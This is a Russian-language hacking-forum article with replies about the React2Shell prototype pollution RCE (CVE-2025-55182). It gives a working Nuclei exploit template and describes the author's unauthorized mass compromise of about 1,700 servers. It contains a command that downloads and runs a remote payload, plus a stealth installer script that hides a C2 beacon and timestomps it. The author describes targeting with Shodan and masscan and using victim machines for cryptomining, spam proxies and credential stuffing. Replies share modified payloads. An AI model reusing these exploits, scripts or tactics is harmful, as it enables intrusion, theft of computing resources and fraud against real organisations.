• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Вся опасность Prototype Pollution, или почему болеет React

xleaknn

RAID-массив
Пользователь
Регистрация
14.11.2025
Сообщения
61
Реакции
60
Приветствую все любопытные и заинтересованные умы, что кликнули на мою статейку.
Думаю, все слышали уже, все прожужжали, все инфоресурсы гремели этими новостями... в начале декабря была открыта связка из двух "опаснейших" уязвимостей, почти сразу получивших оценку в 10.0/10 по критериям CVSS: CVE-2025-55182 и её дубликат, CVE-2025-66478. Первая уязвимость была довольно быстра воспета всеми ресерчерами как нечто невероятно ужасное и потенциально опасное: Vercel и прочие конторы рассылали письма своим пользователям, наполненные техническими деталями. Письма, правда, довольно сухие и безэмоциональные, выглядящие скорее как "рекомендация к обновлению" в довольно принудительном тоне =)))
Образец такого паникерского "письма счастья" прикреплен чуть ниже (да, тоже есть товарищи с доменами и верселами).
1765452706247.png

Ну мы-то с вами знаем эти корпорации... нас ломят все, кому не лень, но все хорошо, правда, верьте нам))0).
Именно о оригинальной и первой установленной(дубликат для некста был позже) язве, обозванной в народе react2shell, и пойдет речь в этой статье.
Начнем, как говорится, с самых азов: попытаюсь раскрыть природу этой уязвимости для вас, уважаемых читателей, от корня к голове.
Что произошло? Техническая природа уязвимости.
Начнем с того, что тем читателям среди нас, кто в отличие от более опытных зрителей, может не знать, что это такое за зверёк, Prototype Pollution, следует объяснить природу этой уязвимости. Многие авторы и здесь, и на дьюти, и на других СНГ-ресурсах для инфобезопасников уже описывали достаточно многие нюансы всей многомерной и моментами сложной среды JS как таковой, но стоит описать это для большего понимания происходящего еще раз. Повторение - мать учения =)))

Сам по себе prototype pollution является ничем иным, как неким "загрязнением прототипов". Звучит сложно? Согласен, это не типичная и понятная из названия в своей сути язва вроде XSS(кросс-сайтовый скриптинг, ну что же тут может быть?)) или SQLi.
Однако суть куда проще, и кроется она на поверхности. Как ранее в своей довольно хорошо раскрытой статье озвучивал ocean, JS - зверёк чудной и прототипно-ориентированный. Есть объекты и примитивы. Примитивы сами по себе - нечто "ниже" по уровню абстракции, просто значение, такое как string, boolean и так далее. Они не имеют методов и состояния: оно и понятно, ведь они - лишь "носитель" разных значений.
Объекты - нечто логически более "наполненное". Они тяжелее, выше. Так просто они уже не работают: передаются ссылками - прямыми обращениями, Есть и механика оберток, нам можно применять методы к конкретным значениям-примитивам =)
Так вот и у каждого объекта есть свой прототип, чуть "ниже" уровнем в абстракции. Словно бы пирамидка, но сложенная кверху попой, где все начинается с одного блока, но выше и выше ширина в блоках становится все больше. У методов есть конструкторы, у конструкторов есть прототипы, как и у любых объектов, и у тех тоже есть прототипы... голова закипит, если думать о таком слишком долго.
Объекты наследуют свой прототип через proto, он же prototype, или через Object.getPrototypeOf. Второй случай мало чем отличается, просто если у объекта нет собственного заданного свойства, среда попытается найти его сама в цепочке прототипов.
К чему это? У всех объектов есть некие свойства. Свойства могут быть разные, могут быть вообще заданы в самом коде собсна программистом. Простейший пример:
JavaScript:
let obj = {};
obj.name = "Артем";


console.log(obj.name);   ##мы увидим свойство объекта "name", которые мы задали сами
console.log(obj.toString); ##мы увидим наследованный от Object.Prototype, "всеобщего родителя", [Function]



name - свойство, заданное obj нами самими. Тут все понятно. Но ведь прототип, а если точнее ссыль на него, это тоже своего рода свойство, пусть и несколько отличное от обычного этого понятия в жабаскрипте =))
И тут и кроется понимание этой уязвимости. Все "высокие" по уровню абстракции функции строятся на чем-то до них, и являются лишь более понятным человеку "языком", ближе к родной так сказать речи. Но мы можем подменять то, что делает конкретная штуковина, подменив ее объект-родитель, к которому она вроде как должна отсылаться.
Для большего понимания можно произвести хоть и не совсем корректное, но все же понятное сравнение с алиасами, так знакомыми многим пентестерам. Скажите же, удобно просто писать export URL= и прожимать алиас subrecon, чем самому долго и нудно фигачить subfinder -d url_domain -all -o и так далее?)) В этом случае лишь меняется то, что делает этот алиас: "сабфайндер" меняется на какой-то wget + chmod + ./. Бабах, и система на рутките... неприятно, правда?)
JavaScript:
const obj = { name: 'Sosiska' };
console.log("До:", obj.toString());   ###увидим крайне типичный вывод, object Object - простая работа toString, смотрим на типичный Object
Object.prototype.toString = function() {    ###подменим прототип функции - ее "родителя" - на свою функцию вместо ее настоящего "родителя" из конструктора
return 'Где деньги, Лебовски?';
};
console.log("После:", obj.toString());


Крайне упрощенный результат работы той самой "подмены прототипа" изображен на скриншоте.
1765453533181.png

Так и работает загрязнение прототипов). Мы делаем "родителей" у конкретных штуковин "злыми", и они делают то, что нам нужно, а тут аттракцион уже зависит от самого стека: от простых DoS до сложных в своей цепочке атак, приводящих к аккаунт тейковерам, захвату админки или даже RCE(более "техническая" штука, чем логические манипуляции).
В контексте загрязнения прототипа существует и вполне ясная классификация: гаджет, источник и приемник. Приемник американизированная индустрия пентеста обзывает синком. Тут все понятно из названий: в источнике появится вредоноска, в гаджете(логический элемент), где данные каким-то из возможных образов обрабатываются, вредоноска будет перенесена в приемник - место, где вредоноска исполнится. Так можно описать большинство сценариев Prototype Pollution, происходящих на клиентсайде - у вас на машинке. Может быть опасно кстати, приводит к XSS, а это как мы знаем штука злая. Могут и кукисы спереть.
Серверсайд эта же язва выглядит чуть иначе.
Вуля замечательная, и я советую всем ее полапать - ее опять же многие упускают, что крайне обидно, награды-то солидные для багхантеров :(
Лабы портсвиггера вам в помощь, ребятки. В свое время очень многому научили - как минимум, клацать бёрп и +- крепко понимать "работу" вуль.
Для нашего же сегодняшнего кейса упомянем, что существует довольно обширная классификация видов загрязнения прототипов как по допустим месту действия(клиент, сервер), так и по своему механизму. Наш сегодняшний гость - небезопасная дисериализация.
Пройдя пару лаб, или почитав статью ocean по теме на DutyFree(на XSS тоже стопроцентно есть несколько хороших авторов: язва крайне интересная и "дорогая" для компаний, багхантеры много за нее получают, о ней стопудов кто-то еще писал), вы можете увидеть, как используются гаджет, источник и приемник. Киллчейн в целом понятен, проходимый путь - тоже.
Реакт - штука довольно сложная под капотом, если не знать, что копать, и ни разу с ним не работать. Рассмотрим только нужное, об остальном расскажут всякие дб по вулям, в вебе слава богу их навалом.
В реакте существует отдельный протокол, имя этому гаду нечестивому, провинившемуся и натворившему немало бед, React Flight. Он нужен, чтобы передовать RSC-пэйлоды - компоненты, буквально говоря. React Server Components. Думаю, понятно, что тягаются они меж клиентом и сервером по конкретно этому протоколу.
Рассмотрим для понимания статистику, любезно позаимствованную от информационного ресурса wiz.io - западных ребятишек, занимающихся разработкой решений из мира ИБ и анализом прошедших инцидентов:
1765454360314.png

45% сред облачки и не только имеют на себе как минимум 1 уязвимых React-проект? Что ж, язва действительно массовая и слова о "чудовищности" инцидента как мне кажется оправданы.
Вот почему в первые часы после публикации первых PoC-эксплоитов с "рабочим" запросом случилось "нашествие китайцев". Просто и изящно: легко искать через поисковые движки ибшников вроде FOFA и Shodan, единственный критерий для выборки - версия(большинство поисковиков ее могут достаточно точно определить и хранит в дальнейшем). Выгрузил да полетел. К запросу и "китайцам" мы вернемся.
Корень зла здесь таится в том, что может передаваться по этому React Flight - в функциях десериализации, таких как decodeReply из react-server-dom-webpack/server и requireModule из react-server-dom-parcel, где поломалась валидация типов и проверка свойств объектов перед их разрешением
Более точный чейн можно описать как отсутствие адекватной санитизации - "выборки" и удаления всего вредоносного, как и при скулях/других инжективных вулях или чему-то подобному. Санитизация на этапе клиент-сервер в случае SQLi удаляет все вредоносное и просто непозволительное, санитизация здесь не позволяет создавать последовательности объектов, которые переопределяли бы прототипы. Короче говоря, нам не дают отправлять те самые гадкие строки, способные подменить значение у конкретного объекта - значение его прототипа. Сама по себе дисериализация работает у реакта так, что все эти запросы, так как HTTP там многочанковый, обрабатываются в формате json-подобной структуры. Чанки содержат ссылки - референсы. Их и эксплойтят, так и произошла эта гадость.
Допустим, компонент requireModule до патча содержал следующий уязвимый блочок:
export function requireModule(metadata: ClientReference): T {
const moduleExports = parcelRequire(metadata[ID]);
return moduleExports[metadata[NAME]]; ###корень зла
}

Да, суть уязвимости лежит на поверхности.
Метадата тут берется из невалидированного входа... так и вбивается "клин" в этот код, который подменяет прототип "moduleExports". Просто? Да. Изящно? Словами не описать. Ведь в итоге переопределяются свойства "then" через "$1:proto:then", Function Constructor через _formData.get попадается к нам в доступ, далее происходит инъекция через _prefix - вредоносный код выполняется через Function()(ну не мудрено, мы же фанкшен конструктор взяли в ручки)... Почитайте сорцы - это поучительно.
Возьмем хороший PoC с гитхаба(темплейт под нуклей прилагается!) - https://github.com/sickwell/CVE-2025-55182. Посмотрим на "сырой запрос" из коробки - он есть как раз таки в темплейте.

http:
- method: POST
path:
- "{{BaseURL}}"
headers:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15
Next-Action: x
Accept: text/x-component
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr_1}}

body: |
------WebKitFormBoundary{{randstr_1}}
Content-Disposition: form-data; name="0"

{"then":"$1:proto:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var r=process.mainModule.require('child_process').spawnSync('sh',['-c','id'],{encoding:'utf8',timeout:5000});var res=r.stdout||r.stderr||'';throw Object.assign(new Error('NEXT_REDIRECT'),{digest:NEXT_REDIRECT;push;/login?a=${res.trim()};307;});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary{{randstr_1}}
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary{{randstr_1}}
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundary{{randstr_1}}--

Да, все в целом как мы и описали. Пэйлод оформлен под "легитимник", под обычный запрос. Есть имена чанков, вот эта вот штука name="0-2". Их дисериализатор как раз воспринимает за последовательные части RSC-потока. Каждая часть, как и видим, это JSON или строка которая на него ссылается/ссылается на другие чанки. Потому в поке и оставлены рандстринги - мы иммитируем легитимный и правильный запрос через отсылки на рандомные валидные имена чанков. Нейм 0 - основной гаджет, мы в нем загрязняем прототип и оставляем команду для RCE. Тут безобидный id. Нейм 1 - не менее важен, он ссылается на чанк 0 через $@0, короче говоря заставляет его обработать как Promise - важно для триггера. Ну и нейм 2 - пустая заглушка.
Мы всего-то вызываем цепочки с then(), но есть нюанс. Мы его переопределили =)

Смотря на эту странную строчку в чанке0, видим, что сначала через "status":"resolved_model" мы пытаемся втирать реакту на серьезных щах, что все легитимно и это готовая модель для дисериализации. "then":"$1:proto:then" - гаджет, это примерно видно по его внешке. proto говорит за него)). Но вот этот $1 запускает рекурсивные "бега друг за другом" - ссылается на чанк1, который сам как мы видим ссылается на чанк0. По итогу загрязняем и переопределяем then на кастомку, которую мы ему внушили.

Че дальше? Да все просто, есть вложенный объект, который покроется hexом. Вместо then() вызывается его кастомный и злой близнец, он перенаправляет нас на свойства _response. В нем происходит все самое злое, после чего появляется _prefix. Он будет исполнен, он - RCE.
В итоге все оборвется на заглушке. Скриншот от исследователей с уже выявленной активностью и операциями, берущими в свою основу эту уязву, представлен ниже. Компаний, как вы видите, уважаемые читатели, уже немало. Ну а что? =) Эксплойтить легко, собирать таргеты легко, порог входа крайне низок.

1765454861474.png


С теорией покончили... пора переходить к самому интересному: к практике.
От нудятины к практике
Я решил опробовать эту уязвимость на деле. Сначала я искал по scope(листу целей) на различных BugBounty-программах приложения на React и Next.JS, искал привязанные к компаниям сабдомены, и везде баловался с этим темплейтом. Не буду из нужд этичности в таких программах публиковать то, что нашел там: все таки честь нужно иметь - они выплатили находки. Скажу лишь то, что найденных цели было 2 штуки. И да, ресурс - HackerOne.
Перейдем к поиску "в открытом интернете", и тут вариантов на самом деле множество. Для начала попробуем воспользоваться Shodan, слава богу учетки у него довольно легко абузить edu-почтами.
Дорка, которую я применял, довольно проста - все равно все будет отсмотрено с помощью удобнейшего Nuclei. Искал буквально всех:
1765455608739.png

Ничего себе, на самом деле. Огромное количество, непаханное поле... но есть проблема: просто поиск выдаст множество не origin-вариантов, а доменов. Ко многим доменам подключен Cloudflare, а он почти сразу был "научен" блокировать попытки эксплуатировать такое, и без истинного IP-адреса хоста и дополнительно еще и мисконфигураций(например, доступ "прямого характера") нам там делать будет нечего. Сузим поиск:
1765455781059.png

Скачиваем результаты в свой domains.txt. Шодан удобный, шодан позволяет. Что ж, пора поутюжить это нашей нуклей и новомодным молодежным темплейтиком.


1765456682710.png

Хопана, какой сытный ужин. Извините за обрезанную фотку, результатов куда больше, но сюда большие фото грузить запрещают.
Ничего сложного: proxychains nuclei -l url.txt -t custom/cve-2025-55182.yml(проксичейнз юзаю, чтобы такой шумихой не зафродить свои прокси и чтобы один адрес не приняли за адрес китайского аптера, отрыгивающего новый ботнет).
Мноооооого потенциальных таргетов(и не меньше ханипотов :D). В первые часы багхантеры хакервана и багкрауда били огромнейшие выигрыши в 5-7 тысяч долларов тупо за запуск нукли после шодана - куча "гигантов" индустрии этим болели. Но это - законный и этичный формат хакинга, он полезен. Но только простым людям, их безопасность становится еще более крепкой. Их данные не утекут, а сервисы будут работать по-доброму и замечательно.
Но это лишь так называемый Proof-of-Concept, демонстрация уязвимости. Через id видеть юзеров или создавать флажки через echo "Pwned" > /root/hello.txt создавать неинтересно. Я начал думать о том, как можно получить пользу для себя помимо Bug Bounty - все уже заклацали индусы.
Многие эксплоиты, сделанные на стандартном пайтоновом requests, кривы и каличны. Неадекватно отправляют этот запрос, практически не работают. Потому, просто можно немножко переделать сам темплейт нуклея: нуклей - удобный инструмент, поддерживает длинные команды из нескольких утилит и RCE по этому темплейту он дает.
Но как искать уязвимые объекты? Да, вариантов множество. В целом, для себя я выделил три варианта: ползать по диапазонам, "популярным" среди node-разрабов, мучать шодан и фофу дорками и использовать гугл-доркинг: некст-приложения можно находить через особенные для них структуры веб-директорий. Ссылки, короче говоря. dorks-eye(https://github.com/BullsEye0/dorks-eye)/другие beautifulsoap-базированные решения и proxychains вам в помощь, только проксей почище возьмите, чтобы вас подольше в капчи не уводило.
С Shodan/FOFA все довольно очевидно, думаю, все могут нажать на кнопочку "download results". С доркингом по гуглу я возиться попросту не стал - огромное количество ненужной мороки, дороговизна чистых прокси под такого объема парсинг.
Попробовал третий интересный вариант - посканировать диапазоны. Первым взял довольно популярный, европейский, диапазон:
1765457383024.png

Первые 5% скана показались какими-то "вялыми". Да, к слову, специально искал 3000-3010 порты, на скрине - скан только с 3к. Они специфичны для особенно уязвимых таких приложений, но в целом просто являются чем-то обыденным для Next.JS и чистого реакта. В итоге результатов насобиралось порядка 140 штук. Скриншот, к сожалению, не сохранился :( - я ну очень старался обогнать "китайцев" в этой гонке вооружений, простите покорного слугу.
Тут нет ничего особенно сложного, из полученных результатов вычленяем адреса и прогоняем через httpx-toolkit:
1765457965253.png

Определяем, разумеется, как цели для себя только тех, у кого не 404 и не 500-ки, и где есть нужные нам реакт и некст.js. Можно собрать все в одну логическую цепочку и автоматизироваться донельзя:
cat targets.txt | httpx-toolkit -td -server -title -sc -mc 200 | grep -E "(Next\.js|React)" | awk '{print $1}' | tee valid.txt
Объяснять, думаю, сильно не надо. Добавили настроечку -mc(match-code), ищем таргетированно только нужные статускоды - хттпх очень продуман для багхантеров, как и вся продукция projectdiscovery. Можно опосля и все завести на nuclei сразу же:
cat valid.txt | proxychains nuclei -c 30 -t путьквашему_темплейту
По итогу собрал результаты масскана и шодана воедино, произвел удаление дубликатов через инструменты линукса "из коробки" - команда sort имбища, и получил широченный лист на 1700 потенциальных целей. На всех из них были подтверждены RCE через наш темплейтик.
Лист внушителен... но что я собрался с ним делать-то сейчас, спросите вы?
Решение пришло в голову быстро: нужно успеть собрать, пока китайцы не изобрели велосипед и не выдвинули решение, которое после "захвата" будет прерывать любые команды вроде curl, wget и так далее, не давая забрать мишень себе. Собрать как можно больше.
Но для начала... немного матчасти, и определимся сразу с киллчейном после этого этапа. Да и знать о нашей поверхности атаки нужно побольше.
Начнем с очень важного момента: приложения с реактом или некстухой чаще всего не разворачиваются "наголо" - мы чаще всего будем сталкиваться с технологиями контейнеризации. У некста/реакта - свой отдельный контейнер, отдельный от бд и голого хоста, разумеется. И это очень важно: массовая охота за бдшками тут не увенчается успехом, если у вас конечно нет офиса.
Контейнеризация? И хорошо, и плохо. Чем же это хорошо, спросите вы меня. А я отвечу так. Вы часто видите админов, которые на полном серьезе и не увиливая от этих обязанностей бегают на хост в docker exec и смотрят прямо все процессы, занимаемые ресурсы ими в частности и вещи вроде сокетов? Ответ простой, нет. И это наше преимущество.
Но и филонить в вопросах пивотинга и установки постоянного доступа не стоит.
Следующий немаловажный момент - многие места, куда приземлится наш маячок, куда прилетает RCE, стоят на альпине. Alpine, такая достаточно неприятная, "обрезанная", даже так обзову, линусь. Во многих образах и нет дефолтных wget/curl/git - ну а зачем? Учтем это в наших планах.

Итого, у меня вышел следующий план. Сначала RCE, потом установка первичного скрипта, который поможет нам установить какой-то beacon. Установить хорошо, даже спрятать.
Принял решение использовать программу AdaptixC2, я фанат опенсорса. Вы можете выбрать то, что удобнее вам. Думаю, вполне очевидно(обговаривалось не раз многими талантливыми ребятами отсюда), что нужно и спрятать наш командный сервер. Я прикупил дешевенький домен с no-KYC платформы в телеграме, повесил на него клаудфлейр и подключил к впске. На впске развернул AdaptixServer - там все делается просто, с одного make.
Единственное что, для нужд "Отсутствия палева" я заменил страницу 404 на свою, чтобы не было пущего палева, что серверок-то непростой. Вот такая красота была у меня:
1765463013937.png

Каждый может найти такие же странички, и даже стандартный нгинкс-404, на гитхабе. Уже меньше проблем с ресерчерами и любопытными админами. Понятное дело, что и beacon сконфигурировал на HTTP-формат. Чтобы все ходило через реверс-прокси нашего клауда на домене. Не светим нашим сервером, для пущего опсека.
Я предпочитаю работать с RDP, так что установил на один из RDP AdaptixClient, собрав его через Qt:
1765463223974.png

Прямо на гите адаптикса есть ссылка на их гитбук с документацией. Всем советую к прочтению, много полезного. К настройкам адаптикса более глубоким пока притрагиваться не буду - тема, как мне кажется, для целого отдельного поста. Все заработало, решил, что скачивать маячки и первичный(инициализирующий скачивание полезной нагрузки - маячка) скрипт буду с того же домена хостить. Почему бы и нет? Безопасность всегда хороша.

Как итог, командная инъекция в темплейте с id была заменена на следующий формат:
apk add curl;curl -sf https://x.y.z.m/ccc -o /tmp/update&&chmod +x /tmp/update&&/tmp/update
Просто, действенно, работает. Мы добавляем curl в этот образ, если его нет, потом инициализируем скачивание скрипта, переименовываем его как закос под что-то легитимное, делаем исполняемым, запускаем. Куда интереснее то, что в самом скрипте, не правда ли?
Вот такое я набросал за пару минут в vim и поиспытывал на соседней виртуалке:

Bash:
#!/bin/sh ### стандартная оболочка альпины, ВАЖНО, НЕ БАШ!


PAYLOAD_URL="https://x.y.z.m/next_payload"
SELF="/tmp/update"

curl -sfL "$PAYLOAD_URL" -o /usr/bin/ping3 || exit 1 ### ping3? Выглядит глупо? Не для админа, которому лень листать все обыденные бинари типичного образа с линукс. Ну и не для админа-новичка :)
chmod +x /usr/bin/ping3 ###делаем исполняемым
touch -r /usr/bin/ls /usr/bin/ping3 ###делаем время создания как у одной из классических бинарок линукса, чтобы посложнее было спалить :))
nohup /usr/bin/ping3 > /dev/null 2>&1 & ### запускаем, на альпине есть дефолтный nohup, но с системд-способами пивотинга могут быть проблемы, не все так просто
sleep 3 ### недолго выжидаем, прежде чем ремувнуть скрипт-инсталлятор
rm -f "$SELF" ###удаляем скрипт-инсталлятор

exit 0


Все еще просто? Именно так. Но каков результат... запускаем экспериментально, на первых двух таргетах. Иииииии...
Барабанная дробь...
1765464165560.png

+2 юзера у нас. Все встает, и мы можем начинать лазить, использовать полученное железо в своих целях, искать соседушек-китайцев(правда, когда они ставят Mirai-подобные закосы под "нормальный малварь", наклепанный с горе-гпт впополам, все попытки скачивания чего-то на хост обрываются. Будете видеть killed, и все).
Цель использования? Да самая разная. Я насобирал довольно много таких серверов, ставил самые разные штуки: от squid под создание прокси на нужды спама и credential stuffing(брута с перебором учеток на чьей-то вебаппке)) и до каких-то XMRig(до сих пор стоит на 19 серверах, полученных во второй же день, до того, как стали плотно разворачивать ханипоты). Мелочь, а приятно!

Кстати говоря, братья-китайцы совсем не ценят это железо, неграмотно пивотятся и абсолютно бездарнейшим образом используют. Вот пример типичного китайца, взявшего дедик:
1765464372497.png

Ну, телнеты лавовых лампочек и зубных щеток под DDoS сами себя не сбрутят... удачи им в этом деле. Обычно их палили за час-два по безумной нагрузке на сеть(докер же не делает тебя невидимкой, хосту ведь больно)) и на цпу. Но я из вредности убивал их ботнеты, ища через lsof и ps первопричину и ремувая ее, опосля закрывая все "лишние процессы")). Ну, сами виноваты, чего скажу.

Вот такая вот недо-APT операция у меня вышла за пару дней... интересно? Бесспорно. Но не сильно полезно. Хотя и сервера я в первое время решил активно пофармить, развернул целую автоматизированную инфру: сервер-поисковик и сервер-управляющий. Сидишь, пьешь чай, а там:
1765464614386.png

Надеюсь, что был полезен. Пообщаться, услышать мнение других людей и узнать что-то новое всегда рад... всем удачи и хороших багрепортов)). Делайте ваши страны гораздо защищеннее, чем они есть сейчас. Делайте благие дела для тех, кто будет после вас, peace).
 
Привет, ссылочка приложена. Но помимо этого, я сам по себе написал под себя более удобный эксплоит, на Go, без особых наворотов.. реквест в сыром виде, который все ломает, доступен был сразу на куче платформ. Его быстро выкинули в паблик в этот раз.

Советую тебе так же подписаться на эти каналы в Telegram, там часто приходят годнятина по свежим CVE:
привет, а откуда брал шаблон для нукли?
 
Извини, ответ вскоре придет. Тут просто ссылки на телеграм-каналы не проходят без одобрения модерации).
привет, а откуда брал шаблон для нукли?
 
очень захватывающая статья, даже я, дилетант-любитель а.к.а. "сунул сайт в джейлбрейк дипсик и пытаюсь пентестить", сильно проникся и подчерпнул для себя новые знания. спасибо!
 
очень захватывающая статья, даже я, дилетант-любитель а.к.а. "сунул сайт в джейлбрейк дипсик и пытаюсь пентестить", сильно проникся и подчерпнул для себя новые знания. спасибо!
Всегда пожалуйста)).
На самом деле в начале была цель только описать вулю для ибшников, чтобы понимали, что к чему, а не просто "цве номер такой то, бла бла бла". Но потом решил, а че бы и не заюзать... вот и сижу с более чем тысячей сессий, канала на сервере под командник не хватает))0)..

Так оно и бывает, мдэм.
 
А дипсик - всегда штука полезная). Его ж, как и грока, гуглить научили.. удобно ресерчи, документации искать, да и можно сказать ему, "вот найди мне решение такое-то и такое-то", он за тебя Github прошерстит).
 
А дипсик - всегда штука полезная). Его ж, как и грока, гуглить научили.. удобно ресерчи, документации искать, да и можно сказать ему, "вот найди мне решение такое-то и такое-то", он за тебя Github прошерстит).
Вы правы, конечно) Но тут можно привести аналогию с нынешними вайбкодерами. Есть же разница между тем, когда человек использует ИИ как вспомогательную тулзу, и как основную. Вот я в рамках RedTeam больше отношусь ко второму типу)
 
Привет, спасибо за статью) Есть вопрос по этой уязвимости:
Python:
"_prefix": f"var res = process.mainModule.require('child_process').execSync('ls -l',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
чутка подправил через под питон, обычно у всех выводит выхлоп
Bash:
ls -l
Но у одного сайта вывело вот такую штуку:
Код:
0:["$@1",["MP_sInBRpyVKgH5HNGYDm",null]]
1:E{"digest":"1486441930"}
встречалось ли тебе это и что это может означать и куда копать дальше?
 
Спасибо за статью! С наступающим НГ !

Конечно переход от базового примера с "Где деньги, Лебовски?" к реальному пэйлоаду очень резкий, почти без разбора кода (там же опенсурц ведь, так?) на стороне сервера который эту мультипарт-форм-дату (а точнее кусочек из неё) берёт и не глядя суёт в прототип - на новичков это производит удручающий эффект (как бы умолчено "что посередине то?"), хотя понятное дело с таким "разжёвыванием" протокола RSС (что тоже на целую отдельную статейку потянет) да и с кусками серверного кода статья бы получилась раза в 2-3 длиннее, это понятно что лень писать так подробно, понимаю бро.

Очень-очень хотелось бы почитать статью с разбором "антипаттернов" на сервере, ну как такие косяки с отравлением прототипов в коде на серваке выглядят обычно, что позволит искать 0day всякие весёлые подозреваю пачками и путём банального SAST.

Ну как вот пример с SQLi "антипаттерном", проще наверное не придумать: если в коде видишь тупую конкатенацию строк SQL кода (или в JS бывает ещё ES6 интерполяцию, один хрен) с входными параметрами = это верняк прям SQLi !!! , у меня глаз на такоё радостно нервно "дергаться" автоматически начинает, прям непроизвольно чесслова :)

Можно таких "антипаттернов" накидать для Prototype Pollution ?
А semgrep кстати такое детектит при SAST ? Очень любопытно...
 
Последнее редактирование:
Допустим, компонент requireModule до патча содержал следующий уязвимый блочок:
export function requireModule(metadata: ClientReference): T {
const moduleExports = parcelRequire(metadata[ID]);
return moduleExports[metadata[NAME]]; ###корень зла
}

Да, суть уязвимости лежит на поверхности.
Метадата тут берется из невалидированного входа... так и вбивается "клин" в этот код, который подменяет прототип "moduleExports". Просто? Да. Изящно? Словами не описать. Ведь в итоге переопределяются свойства "then" через "$1:proto:then", Function Constructor через _formData.get попадается к нам в доступ, далее происходит инъекция через _prefix - вредоносный код выполняется через Function()(ну не мудрено, мы же фанкшен конструктор взяли в ручки)... Почитайте сорцы - это поучительно.

Методики поиска таких "антипаттернов" - это прям повод для отдельной статейки, я вот о чём ;-)
Подозреваю что не только "глазками" но и SAST такое можно искать.
xleaknn , как думаешь, автоматизируем ли SAST'ом поиск таких 0day?
 
Hi, thanks for the article. I have a question about this vulnerability:
Python:
"_prefix": f"var res = process.mainModule.require('child_process').execSync('ls -l',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
I slightly adjusted it for Python, usually it displays the output for everyone
Bash:
ls -l
But one site showed this:
Код:
0:["$@1",["MP_sInBRpyVKgH5HNGYDm",null]]
1:E{"digest":"1486441930"}
Have you encountered this and what could it mean and where to dig next?



Hey Im getting that exact same thing. My AI told me that using Chunked caused it to pass through that error, but reached another error. It might be WAF im not sure.
 
Спасибо за поздравления, извините за инактив, уважаемые читатели - работы в последнее время у меня непочатый край, да и надо здоровьице было подправить, отдыхал. Касательно описания уязвимости, я про прототайп поллюшен писал не совсем "всю дорогу", а лишь краткое напоминание для тех, кто в курсе дел, но немного подзабыл(что вполне себе нормально, пентест - отрасль очень обширная!). Понятное дело, что сложные цепи с дисериализацией - далековато от простой замены "функции-родителя" через дополнительную строку в скрипте, но как то поиска таких уязвимостей еще коснусь в будущих статьях, вещь на самом деле удивительно нередкая. Просто не такая серьезная, чтобы прям Remote Code Execution, дак еще и без авторизации - случай знаковый, исторический.

SAST - безусловно, подход к таким задачам хороший. Время вообще, мягко говоря, на месте не стоит, и с условным semgrep я тоже экспериментировал, совсем другое дело после стандартных запросов в AI из любопытства вроде "систематизируй", "дай свою оценку, конструктивно обозначь минусы и плюсы". SAST и DAST вообще далеко пойдут, как два новых постоянных метода исследований. Мне недавно именно SAST помог с одной уязвимостью, помог в том плане, что сэкономил мое время на чтение всего сорц-материала - штука однозначно удобная, этот статический анализ. Скоро на эту тему статью и выпущу, в рамках обзора :)
Поиск антипаттернов - разумеется, звучит интересно, но сначала лучше будет все же по внешней разведке, WAF и прочим нюансам пробежаться.. а то редко когда тебе в "боевых условиях" готовый код аппки в руки попадет, а вот умение смотреть снаружи нужно всем.
Спасибо за статью! С наступающим НГ !

Конечно переход от базового примера с "Где деньги, Лебовски?" к реальному пэйлоаду очень резкий, почти без разбора кода (там же опенсурц ведь, так?) на стороне сервера который эту мультипарт-форм-дату (а точнее кусочек из неё) берёт и не глядя суёт в прототип - на новичков это производит удручающий эффект (как бы умолчено "что посередине то?"), хотя понятное дело с таким "разжёвыванием" протокола RSС (что тоже на целую отдельную статейку потянет) да и с кусками серверного кода статья бы получилась раза в 2-3 длиннее, это понятно что лень писать так подробно, понимаю бро.

Очень-очень хотелось бы почитать статью с разбором "антипаттернов" на сервере, ну как такие косяки с отравлением прототипов в коде на серваке выглядят обычно, что позволит искать 0day всякие весёлые подозреваю пачками и путём банального SAST.

Ну как вот пример с SQLi "антипаттерном", проще наверное не придумать: если в коде видишь тупую конкатенацию строк SQL кода (или в JS бывает ещё ES6 интерполяцию, один хрен) с входными параметрами = это верняк прям SQLi !!! , у меня глаз на такоё радостно нервно "дергаться" автоматически начинает, прям непроизвольно чесслова :)

Можно таких "антипаттернов" накидать для Prototype Pollution ?
А semgrep кстати такое детектит при SAST ? Очень любопытно...
 
В качестве цели использовали истинный IP(Origin)? Или пытались проникнуть через реверс-прокси от какого-нибудь Cloudflare? :)

Узнав о масштабе трагедии, и Akamai, и Cloudflare, да и многие другие из этой же компании "защитников" в качестве защитных мер произвели подобные апгрейды - исполнение этого эксплойта через "стенку" либо очень затруднено, либо попросту невозможно.

Что тоже возможно, но маловероятно, сбой кодировки. В темплейте, который выдвинули на основе полного оригинального запроса от одного именитого ресерчера, намеренно тыкают реакт носом в encoding: utf-8, в то время как в вашем варианте с execSync без точного определения кодировки такого нет, и бред мог возникнуть и по этой причине тоже, думаю. Все зависит от версий, все я не анализировал, лишь смотрел в этот раз по общему паттерну.
Привет, спасибо за статью) Есть вопрос по этой уязвимости:
Python:
"_prefix": f"var res = process.mainModule.require('child_process').execSync('ls -l',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
чутка подправил через под питон, обычно у всех выводит выхлоп
Bash:
ls -l
Но у одного сайта вывело вот такую штуку:
Код:
0:["$@1",["MP_sInBRpyVKgH5HNGYDm",null]]
1:E{"digest":"1486441930"}
встречалось ли тебе это и что это может означать и куда копать дальше?
 
В качестве цели использовали истинный IP(Origin)? Или пытались проникнуть через реверс-прокси от какого-нибудь Cloudflare? :)

